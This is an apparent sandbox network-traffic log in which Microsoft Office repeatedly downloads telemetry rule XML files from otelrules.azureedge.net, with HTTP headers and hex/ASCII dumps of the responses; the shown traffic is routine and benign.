2024-10-26 11:45:23 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:24 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:24 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:24 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: cd4a5759-201e-005d-4b3a-26afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114524Z-r197bdfb6b4bs5qf58wn14wgm000000000xg000000004txd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:24 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:25 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:25 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:25 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114525Z-16849878b78zqkvcwgr6h55x9n000000019g00000000gf67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:25 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:25 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114525Z-17c5cb586f6sqz6fff89etrx0800000001hg000000007nk6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: f8cf8448-501e-0064-5b5a-261f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-17c5cb586f64v7xs992vpxwchg000000020g0000000035hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 7edb8da2-f01e-0099-33f3-249171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-15b8d89586fvk4kmbg8pf84y8800000002xg0000000032yc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:26 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:26 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:26 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c2e82b32-d01e-005a-2b27-267fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114526Z-r197bdfb6b48v72xb403uy6hns00000002h0000000003xvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:26 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:27 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-15b8d89586ffsjj9qb0gmb1stn0000000660000000002wd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:27 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:27 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 55d9b643-201e-003f-330b-226d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114527Z-16849878b78qf2gleqhwczd21s0000000270000000004hg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:28 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:28 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114528Z-16849878b7867ttgfbpnfxt44s00000001rg00000000etxu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:28 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:28 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:28 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e6296ddc-301e-0052-0828-2665d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114528Z-17c5cb586f6wnfhvhw6gvetfh400000001b00000000075dy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:28 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:29 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-16849878b786fl7gm2qg4r5y7000000002b0000000001kcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:29 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" 